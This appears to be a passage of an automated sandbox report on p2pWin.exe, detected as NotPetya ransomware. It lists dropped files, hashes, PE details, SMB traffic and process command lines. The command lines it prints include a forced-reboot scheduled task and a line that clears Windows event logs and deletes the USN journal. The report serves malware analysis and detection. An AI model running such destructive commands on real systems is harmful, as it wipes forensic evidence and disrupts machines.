Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]....."d}.G]....M..\|..P..I....V.....[...?.1:...C..X&..WS.,..T.....{...).k.."..{.........5".....4.N..3p.R...>...r..2.Z.G.0Yq.`K..we...ScA..2FV....NKvzT.....t..3??.z..[.U`!.N.fg.X...`.......N?-..Z..5^.3.M...t....5.q6zpY..T~..&J.Wf..t%.t.E.q..+..ED"&QY...",l.z...1.....i=\>.X.....6.....W..@.m..n..o4.f.y[...ope..(3......j.N.,C.....d~.d.}J....KU.(...l.....<.QB..1).U.~.3..^.....wq..t...fQ.8"QG@...j\|;..W... A"@e..m...rw.L].....Dt........b....Sn.Hb9.y.":.wO........qVu... ./...9.f.e.....z6...}B.{,#kY......X....`~./U;b..d..F.jC........g......y...h.3.n.i3[Bu.x.,=....H4....FHb,...p..)dK.e&>S...%.CU...X.&\..$8.Y.s.A..R...lb.Q.....N.j!w....V.).....VMy."....T...F._........<.{...5.B..?..^LeJ....t+"r.S...46.;s.D..8...y;...-..VF.wU.m.[.I....fW..E^&`;..+2......K.]H.....4.8.>.e...qc.....@...%..'.`..6....Q....w...;.<.C.@.S ..s3k...u ..E.........5

C:\Program Files\Mozilla Firefox\plugin-container.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	289712
Entropy (8bit):	7.999430597515511
Encrypted:	true
SSDEEP:	6144:FescFCtcOcRRYP0LoViiAFuk0121hJGtR8un5mR59t:BOpRRE0LpluD2RORBwv
MD5:	E9268F6602005444598A2F4F4935A298
SHA1:	8CB3AF32419BB64B68292D6834826F8337C63BEB
SHA-256:	794CEEC35A783AF68EF45C61E47F5C8CBDFC598A10F54054AE0B98026869402C
SHA-512:	6984DE90CE39CC6F1684B7F8CA7087C8185F8023C80A75CC6A65DD9FEE68439ED8EB228444434EC68960D728919196A9D59CDB7B6146FFAE81ACDA418F3483FC
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]....."d}.G].............#..\|...ZX^V~..c1U...Xeb.%gKy..L.`:..M~^.A.[.....c..)............../Wi.1;.i.g....t.f.K?p5...@....}..`.T.u.R..C..M..0.E.2..........N.....r,."}.5t.H.a..L....zH.Lt@...]Q\|a.~<...-w}DLwi....Ei..6=..4..S...1/...a.b,\|...v....1.t.n0h....%....6.... #.V6....6.R5..Qp.6..[...k.L..0...q.n...s..K.3...j.......;yN......n\.Zx......?..t.......\...G.R.:.....CaY...P<...6p.N.Lf>...{m2.55.V....N/.".!a...gd...H..5I.md.=).8]UCR.T.........P.xxm....]....yd...0.J......g...x.!y.x..UyR.......M..Xx!.$A~...q".-!t.Qt.x._.x../H..($..`....h........"#<.P.w..F'..D'#....W............1U....>Uv...5.h......YG( .].gL..A..N&.'}.0....D....md5.{. .D...,...@.../Xa.]4/.7....}:~1P^.f.....7.Ac...!-........Z.....!x....Jd.k/+W.\|..r.J.q..M........V..[{....I..G..S.o..=.....v...*.i6..+...dr.%........y?..Y.o{.....]....e..92wa..e.Q......&G.O.H.L....j...R..5J.f..

C:\Program Files\Mozilla Firefox\private_browsing.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	65968
Entropy (8bit):	7.997516871196656
Encrypted:	true
SSDEEP:	1536:ouy6GmKRvN99UENx60/ctRnFwt/NJ6l4I6a4A+DUm:oX6J6vN993NG3F6u4ba4A+wm
MD5:	933CAEBDC32CAF222EA0703DB6C6D221
SHA1:	53E29DC7CCAE74DE268C157885604A822676A341
SHA-256:	63B5E28AFABEAA5DD327D51B6BA700906E31D9270592AA511A95B1C08EC3467B
SHA-512:	4C781807304B721DA894B1125EA9BAD78E81EEE4AF61987CBB6266C9EE9B3DE851FA578BA86DA68E51998E945DF48FEA503F7966F2685D1A0FC6505EF4E894A7
Malicious:	true
Preview:	..~...<....g).uf....Y.....5...V...U.\....e...3.UA..i....=.#..F~%m".."...v......U.....v.~w&62..i.;~.Z....]4..(.L2..VWWS.f...F.g.!JQ..a....N..l.}y..}.^B..7oC.z.....}s1a.3...SN..3"~i...h......[&.~....i..#ej`..r.x="d.)..2.!..@..U..TG..B.~..../s.bAN......c..2..........K..t....Z..o._.E.;...n..:4.....zei._O_-U.6....\|......z^._...?az...H...r~7Q.X.EesV..z.l.....s.N....Q....[.L...V.5....\|9U..2.+..G..Q.{...2oC.xtFF.X..x"..8..`.P.J.....'..x..$.....u..e~B..g6...e.g..".2.k...4-.l...~..,.....>.[....:.64Z....0.....n.>..\.\|.Q.S..&....%.6.....<.[..U......0....s..."....[RA.9....N..0.."...4.kC...}........H.U.L....B.8.SmQq........A..!.`.`2.WO.)....P...M.\|.X..6...<..M.7\|.d..i1g.^..&.X..nI....D.....@O.....!.8....s....K.....80..V.).Y.+..Y..N.......U..V..k+.Xm.`...>H^.w...]e.).QR.op...dd....3c.a.%.k_r ...........(."7hcV.W#...\|..ay..K....s...Z..}...]...8.....\d..;~......c.]..p+..d.........g.l!a...O...^...I..u.F...(.@..w.i>r..F2.H>.. ......Y..@

C:\Program Files\Mozilla Firefox\updater.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	414640
Entropy (8bit):	7.999501787527219
Encrypted:	true
SSDEEP:	12288:z85t9lmq4Y42fc1b3ckR/ilYePeps6q0c:z8Sqj422Lc4i+eK9c
MD5:	C69EF7A534A9395D0DAB134297BFBD2B
SHA1:	CBA4F36DB8DF0B93887F67DE49CA61E030980A39
SHA-256:	3D420B5E4D5D5F11B43225BC922E5EB01C8F4A702641298947CC20B23E6195E3
SHA-512:	0A5DD13439766078E709986441B8E42A18B60498A1730AB320776FC588BD5B397EF70894F8B495714A2231381342D0DDE0DD2F042AE2DEEDCC59EDDEA734C09E
Malicious:	true
Preview:	..0>.sP:.y..(us.. ...C....r...V....mgl.{..c.QiC-..l.ED...`.....A.'3=..+7P.QL..MO.e...c...6..$...8.K`..&..(q.........w..r=.v.k....Y..k.._..g..`C~B..L....T.w.tG..j'....JunD\|.x.J. ....zQ....\|s..z`....I...........HJ.?...#T.-.....KVorX.aB.../H.....~n....[.B..h.u(....TWm....6o.Aw.c.j56.g.d...JO.....S..>.b.+.M,...k.w..\;...Y.ChI.P.z-@E..%...r....l..f...H.....\|.o..2\|w..X..,....x.D]..N..}uR.M)....b.P..,.y..,..C.E...Q;.....#.J.!H.H..%.r..@.k....W.~`....v.f......x?.@.....$.......O3..@..0e@.#...5.8....4.....7^.5w..Kg&..[bi..3<T..pX....jP.N...N.a.w\..b.'..m..N-.[e..2R....8..b..0Q........cD.:>R..z.`../..HV.\..T......I.tL..i....\T..{......1k.;...Bo.....6......S8.b...;b....R.Buf-q-...V..<.T.c.h".,.Tt.Nz.0].2...,l..i...... .^........3.V!.~/[..u.+.....>.Ro...._.cX....x.#...0..I...Ng..r?.B..\|......M)<E..Y...f..lbcQg..MGd.#...C.+N$.l..\|.).NQ...0.'.F0...."..=.. ..5..)..+........e..)S8.).?._...Q.$....X.a..w.........3.L.J.n6..R..N...>.0.pz..q.82.$...^....A

C:\Users\user\AppData\Local\Temp\F2CD.tmp

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BFD70118226E2E6391B6A0992F8B5B22
SHA1:	4F9E3810D346B368B7C2437EB4BB040D3F6DAED3
SHA-256:	F8D214080544676394EEA8DDA1CBD79DB436414860E1809CCCD56B2DA039C724
SHA-512:	AB771F24EBDB0C3FFD195AC67B8F655F8EE7037C983AD05CFAC6660BCC5FDDD40E053C859F85990B32227D69E080E2559127A6D9CBF686DC55F0796C7A3F70E9
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\dllcm.dat

Process:	C:\Users\user\Desktop\p2pWin.exe
File Type:	data
Category:	dropped
Size (bytes):	362360
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	9A7FFE65E0912F9379BA6E8E0B079FDE
SHA1:	532BEA84179E2336CAED26E31805CEAA7EEC53DD
SHA-256:	4B336C3CC9B6C691FE581077E3DD9EA7DF3BF48F79E35B05CF87E079EC8E0651
SHA-512:	E8EBF30488B9475529D3345A00C002FE44336718AF8BC99879018982BBC1172FC77F9FEE12C541BAB9665690092709EF5F847B40201782732C717C331BB77C31
Malicious:	true
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\dllhost.dat

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	381816
Entropy (8bit):	6.566133361341289
Encrypted:	false
SSDEEP:	6144:xytTHoerLyksdxFPSWaNJaS1I1f4ogQs/LT7Z2Swc0IZCYA+l82:x6TH9F8bPSHDogQsTJJJK+l82
MD5:	AEEE996FD3484F28E5CD85FE26B6BDCD
SHA1:	CD23B7C9E0EDEF184930BC8E0CA2264F0608BCB3
SHA-256:	F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5
SHA-512:	E7C0B64CA5933C301F46DC3B3FD095BCC48011D8741896571BF93AF909F54A6B21096D5F66B4900020DCAECE6AB9B0E1D1C65791B8B5943D2E4D5BAB28340E6F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PsExec, Description: Yara detected PsExec sysinternal tool, Source: C:\Windows\dllhost.dat, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: 027.dll, Detection: malicious, Browse Filename: QYXZGHJc38.dll, Detection: malicious, Browse Filename: NotPetya.exe, Detection: malicious, Browse Filename: NotPetya DLL.dll.dll, Detection: malicious, Browse Filename: Trojan.Ransom.exe, Detection: malicious, Browse Filename: qFTst626iV.dll, Detection: malicious, Browse Filename: NotPetya.dll, Detection: malicious, Browse Filename: notpetya.dll, Detection: malicious, Browse Filename: 6r3kQ7Ddkk.dll, Detection: malicious, Browse Filename: Xu0Yl0gJER.dll, Detection: malicious, Browse Filename: 5qoV7TRt2Y.dll, Detection: malicious, Browse Filename: tvHP8AUd45.dll, Detection: malicious, Browse Filename: PbrBnW71uv.dll, Detection: malicious, Browse Filename: rTcWdtStAN.dll, Detection: malicious, Browse Filename: NotPetya.dll, Detection: malicious, Browse Filename: 02XuXOatFM.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..x...x...x...q.8.R...q.).h...q./.k...x......q.?...q.(.y...q.-.y...Richx...........................PE..L......K.................H...p......U........`....@.........................................................................D...........................x...........`c..................................@............`...............................text...zG.......H.................. ..`.rdata......`.......L..............@..@.data............ ..................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

\Device\Harddisk0\DR0

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	0.018426846734561325
Encrypted:	false
SSDEEP:	3:Ht:N
MD5:	F57ED402C9376C48554614180322BAAE
SHA1:	AFE4A94BF88758BCE4ACCC6555429EC25F1840D2
SHA-256:	A3826A297EEC4463D8472C1A4B7503765BD12C33B69031F014838FA9E6342D23
SHA-512:	CC0C5556E57C35D4D09FED4D8B4032047722B0485FA6E81F2585087E6C21E2E58E065543E4EA81138FEF764858BBE53B798CE792EF79525755E96CEFCECC09BF
Malicious:	true
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.678630793238872
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	p2pWin.exe
File size:	399'360 bytes
MD5:	8c64181ff0dc12c87e443aae94bf6650
SHA1:	e91d7ebd17912785caa3e71ef1571dc01b1cd854
SHA256:	4c0153b979e65346c1d6f863086082ec5ef103cbf6b0f5e8652d61da678a8ca5
SHA512:	4854565b054297dffc13b659a53059ee8731dca02f3027501254551cb4af20b68fb121d03e528151cf910238b49bf00a3827e74e4bb68faf85ebc50d02ad5c17
SSDEEP:	12288:ef/X4NTn/xVkNG+w+9OqFoK323qdQYKU3:EXATn/xVkNg+95vdQa
TLSH:	BA84026131D38171F0F38A3419DAF7674FBEB4524770918ECB5A561A2D31781AB383A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........S..YS..YS..Y<.FYY..Y<.sY[..Y<.GYk..YZ.~YV..YS..Y...Y<.BYR..Y<.wYR..Y<.pYR..YRichS..Y................PE..L.....?\...........

File Icon


Icon Hash:	2775250905472797

Static PE Info

General

Entrypoint:	0x40128b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C3F96B7 [Wed Jan 16 20:40:23 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ab8fd60b3da01515e6706e8d122c633f

Entrypoint Preview

Instruction
call 00007F07C0692784h
jmp 00007F07C069112Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [00461C38h], eax
mov dword ptr [00461C34h], ecx
mov dword ptr [00461C30h], edx
mov dword ptr [00461C2Ch], ebx
mov dword ptr [00461C28h], esi
mov dword ptr [00461C24h], edi
mov word ptr [00461C50h], ss
mov word ptr [00461C44h], cs
mov word ptr [00461C20h], ds
mov word ptr [00461C1Ch], es
mov word ptr [00461C18h], fs
mov word ptr [00461C14h], gs
pushfd
pop dword ptr [00461C48h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00461C3Ch], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00461C40h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00461C4Ch], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [00461B88h], 00010001h
mov eax, dword ptr [00461C40h]
mov dword ptr [00461B3Ch], eax
mov dword ptr [00461B30h], C0000409h
mov dword ptr [00461B34h], 00000001h
mov eax, dword ptr [00461004h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [00461008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [00000044h]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6024c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0xb0c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x64000	0x5c4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x6130	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5fff0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x6000	0xfc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x44c2	0x4600	False	0.616796875	data	6.430171910742918	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x6000	0x5a810	0x5aa00	False	0.8549757543103448	data	7.762488666147487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x61000	0x18c0	0xc00	False	0.21419270833333334	Matlab v4 mat-file (little endian) \200, sparse, rows 3141592654, columns 1153374641	2.4878952701095853	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0xb0c	0xc00	False	0.5110677083333334	data	5.423098345300529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x64000	0xafe	0xc00	False	0.4313151041666667	data	4.020063597668279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x630e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.572202166064982
RT_GROUP_ICON	0x63990	0x14	data	English	United States	1.15
RT_MANIFEST	0x639a4	0x165	ASCII text, with CRLF line terminators	English	United States	0.5434173669467787

Imports

DLL

Import

KERNEL32.dll

GetFullPathNameA, CreateFileA, HeapAlloc, HeapFree, GetProcessHeap, ExpandEnvironmentStringsA, WriteFile, CloseHandle, HeapReAlloc, GetStringTypeW, GetCommandLineA, HeapSetInformation, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetProcAddress, GetModuleHandleW, ExitProcess, DecodePointer, GetStdHandle, GetModuleFileNameW, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, GetLastError, InterlockedDecrement, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, LoadLibraryW, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, Sleep, RtlUnwind, HeapSize, LCMapStringW, MultiByteToWideChar, IsProcessorFeaturePresent

SHELL32.dll

ShellExecuteA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2023 19:12:05.717529058 CET	49675	443	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:10.196994066 CET	49735	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:10.275855064 CET	49738	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:10.447572947 CET	49739	80	192.168.2.4	192.168.2.1
Nov 22, 2023 19:12:11.201790094 CET	49735	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:11.264270067 CET	49738	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:11.297750950 CET	49742	139	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:11.436148882 CET	49739	80	192.168.2.4	192.168.2.1
Nov 22, 2023 19:12:12.311743975 CET	49742	139	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:13.201873064 CET	49735	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:13.264337063 CET	49738	445	192.168.2.4	173.222.162.32
Nov 22, 2023 19:12:13.451824903 CET	49739	80	192.168.2.4	192.168.2.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2023 19:12:13.477340937 CET	52620	274	192.168.2.4	192.168.2.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 22, 2023 19:12:10.447613955 CET	192.168.2.1	192.168.2.4	8279	(Port unreachable)	Destination Unreachable
Nov 22, 2023 19:12:11.436198950 CET	192.168.2.1	192.168.2.4	8279	(Port unreachable)	Destination Unreachable
Nov 22, 2023 19:12:13.451891899 CET	192.168.2.1	192.168.2.4	8279	(Port unreachable)	Destination Unreachable

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2023 19:12:05.026026964 CET	1.1.1.1	192.168.2.4	0x6940	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2023 19:12:05.026026964 CET	1.1.1.1	192.168.2.4	0x6940	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	19:12:07
Start date:	22/11/2023
Path:	C:\Users\user\Desktop\p2pWin.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\p2pWin.exe
Imagebase:	0x30000
File size:	399'360 bytes
MD5 hash:	8C64181FF0DC12C87E443AAE94BF6650
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NotPetya, Description: Yara detected NotPetya, Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: fe_cpe_ms17_010_ransomware, Description: probable petya ransomware using eternalblue, wmic, psexec, Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick Rule: doublepulsarxor_petya, Description: rule to hit on the xored doublepulsar shellcode, Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones Rule: doublepulsardllinjection_petya, Description: rule to hit on the xored doublepulsar dll injection shellcode, Source: 00000000.00000000.1627434367.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones Rule: JoeSecurity_NotPetya, Description: Yara detected NotPetya, Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: fe_cpe_ms17_010_ransomware, Description: probable petya ransomware using eternalblue, wmic, psexec, Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick Rule: doublepulsarxor_petya, Description: rule to hit on the xored doublepulsar shellcode, Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones Rule: doublepulsardllinjection_petya, Description: rule to hit on the xored doublepulsar dll injection shellcode, Source: 00000000.00000001.1627535297.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones Rule: JoeSecurity_NotPetya, Description: Yara detected NotPetya, Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: fe_cpe_ms17_010_ransomware, Description: probable petya ransomware using eternalblue, wmic, psexec, Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick Rule: doublepulsarxor_petya, Description: rule to hit on the xored doublepulsar shellcode, Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones Rule: doublepulsardllinjection_petya, Description: rule to hit on the xored doublepulsar dll injection shellcode, Source: 00000000.00000002.1631035398.0000000000036000.00000002.00000001.01000000.00000003.sdmp, Author: patrick jones
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Windows\dllcm.dat #1
Imagebase:	0x720000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NotPetya, Description: Yara detected NotPetya, Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: fe_cpe_ms17_010_ransomware, Description: probable petya ransomware using eternalblue, wmic, psexec, Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick Rule: doublepulsarxor_petya, Description: rule to hit on the xored doublepulsar shellcode, Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, Author: patrick jones Rule: doublepulsardllinjection_petya, Description: rule to hit on the xored doublepulsar dll injection shellcode, Source: 00000001.00000002.1670422121.0000000002E5D000.00000002.00001000.00020000.00000000.sdmp, Author: patrick jones Rule: JoeSecurity_NotPetya, Description: Yara detected NotPetya, Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: fe_cpe_ms17_010_ransomware, Description: probable petya ransomware using eternalblue, wmic, psexec, Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick Rule: doublepulsarxor_petya, Description: rule to hit on the xored doublepulsar shellcode, Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, Author: patrick jones Rule: doublepulsardllinjection_petya, Description: rule to hit on the xored doublepulsar dll injection shellcode, Source: 00000001.00000002.1670184712.0000000002CCA000.00000004.00000020.00020000.00000000.sdmp, Author: patrick jones
Reputation:	high
Has exited:	false

Target ID:	2
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Users\user\AppData\Local\Temp\F2CD.tmp
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\F2CD.tmp" \\.\pipe\{0F3B598D-CFC9-40D0-87DB-B9CBE1DF730C}
Imagebase:	0x7ff72e900000
File size:	56'320 bytes
MD5 hash:	7E37AB34ECDCC3E77E24522DDFD4852D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST 20:15
Imagebase:	0x180000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	19:12:08
Start date:	22/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D C:
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0xf70000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
